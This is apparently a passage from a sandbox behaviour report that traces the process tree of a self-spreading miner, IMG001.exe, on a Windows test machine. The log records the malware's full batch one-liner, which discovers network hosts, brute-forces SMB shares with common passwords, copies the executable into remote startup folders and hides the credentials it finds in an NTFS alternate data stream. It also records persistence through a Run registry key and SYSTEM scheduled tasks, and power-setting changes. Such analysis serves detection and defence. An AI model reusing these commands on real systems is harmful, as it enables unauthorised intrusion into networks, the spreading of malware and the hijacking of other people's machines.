      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5612
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:2676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5360
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:3528
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:2536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5860
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:5948
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:6124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3724
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4504
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3956
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3552
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\IMG001.exe" "
      4⤵
      PID:1536
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4264
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users /delete /y
      4⤵
      PID:5112
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      PID:5592
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"1"
      4⤵
      PID:5256
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"1"
      4⤵
      PID:2504
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1748
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"1"
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"1"
      4⤵
      PID:2096
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"1"
      4⤵
      PID:608
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"1"
      4⤵
      PID:5124
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5212
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0206" /user:"1"
      4⤵
      PID:4808
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0206" /user:"1"
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"1"
      4⤵
      PID:1036
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"1"
      4⤵
      PID:6092
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:992
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"10.127.255.255"
      4⤵
      PID:5676
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"10.127.255.255"
      4⤵
      PID:5692
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5548
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"10.127.255.255"
      4⤵
      PID:5800
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"10.127.255.255"
      4⤵
      PID:3764
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4976
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"10.127.255.255"
      4⤵
      PID:4024
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"10.127.255.255"
      4⤵
      PID:5804
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4312
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "10.127.255.255" /user:"10.127.255.255"
      4⤵
      PID:5864
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "10.127.255.255" /user:"10.127.255.255"
      4⤵
      PID:6000
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2280
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0206" /user:"10.127.255.255"
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0206" /user:"10.127.255.255"
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1036
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"10.127.255.255"
      4⤵
      PID:3620
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"10.127.255.255"
      4⤵
      PID:5964
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5996
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"administrator"
      4⤵
      PID:4820
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"administrator"
      4⤵
      PID:1164
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2540
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"administrator"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"administrator"
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:6092
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"administrator"
      4⤵
      PID:5396
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"administrator"
      4⤵
      PID:4912
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5140
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "administrator" /user:"administrator"
      4⤵
      PID:5560
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "administrator" /user:"administrator"
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4960
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0206" /user:"administrator"
      4⤵
      PID:5776
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0206" /user:"administrator"
      4⤵
      PID:3276
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4972
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"administrator"
      4⤵
      PID:5528
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"administrator"
      4⤵
      PID:5980
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2964
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"user"
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"user"
      4⤵
      PID:4508
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5836
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"user"
      4⤵
      PID:4996
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"user"
      4⤵
      PID:336
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:6028
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"user"
      4⤵
      PID:5284
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"user"
      4⤵
      PID:5116
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5868
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "user" /user:"user"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "user" /user:"user"
      4⤵
      PID:3176
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4356
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0206" /user:"user"
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0206" /user:"user"
      4⤵
      PID:1832
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5704
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"user"
      4⤵
      PID:1580
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"user"
      4⤵
      PID:4576
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:396
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"admin"
      4⤵
      PID:4876
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"admin"
      4⤵
      PID:4764
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:6016
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"admin"
      4⤵
      PID:2088
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"admin"
      4⤵
      PID:6072
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4892
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"admin"
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"admin"
      4⤵
      PID:2232
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4624
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "admin" /user:"admin"
      4⤵
      PID:5856
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "admin" /user:"admin"
      4⤵
      PID:3912
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2844
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0206" /user:"admin"
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0206" /user:"admin"
      4⤵
      PID:4360
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5352
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"admin"
      4⤵
      PID:2572
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"admin"
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5812
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"àäìèíèñòðàòîð"
      4⤵
      PID:5760
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"àäìèíèñòðàòîð"
      4⤵
      PID:5460
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2996

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tftp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- C:\Users\Admin\AppData\Local\Temp\tftp.exe
  "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
  2⤵
  - Executes dropped EXE
  PID:1700
- C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
  "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - NTFS ADS
  PID:1924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
    3⤵
    PID:3508
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tftp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:716
- - C:\Users\Admin\AppData\Local\Temp\tftp.exe
    "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
    3⤵
    - Executes dropped EXE
    PID:1964
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
    3⤵
    PID:932
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
      4⤵
      PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:1648
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Creates scheduled task(s)
      PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:4220
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
    3⤵
    PID:2424
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1644
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1884
  - - C:\Windows\SysWOW64\powercfg.exe
      Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1602& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
    3⤵
    - NTFS ADS
    PID:3592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
      4⤵
      PID:4912
    - - C:\Windows\SysWOW64\net.exe
        
        net view
        5⤵
        Discovers systems in the same network
        
        PID:5032
    - - C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        5⤵
        
        PID:3784
    - - C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        5⤵
        
        PID:1544
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        5⤵
        
        PID:2736
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c set str_
      4⤵
      PID:3228
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net view \\10.127.255.255|find /i " "
      4⤵
      PID:4888
    - - C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.255.255
        5⤵
        Discovers systems in the same network
        
        PID:1664
    - - C:\Windows\SysWOW64\find.exe
        
        find /i " "
        5⤵
        
        PID:3744
  - - C:\Windows\SysWOW64\net.exe
      net use * /delete /y
      4⤵
      PID:368
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3520
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5800
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4968
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:3136
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4088
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1624
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5648
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:3400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:1200
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:6132
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4396
  - - C:\Windows\SysWOW64\cmd.exe
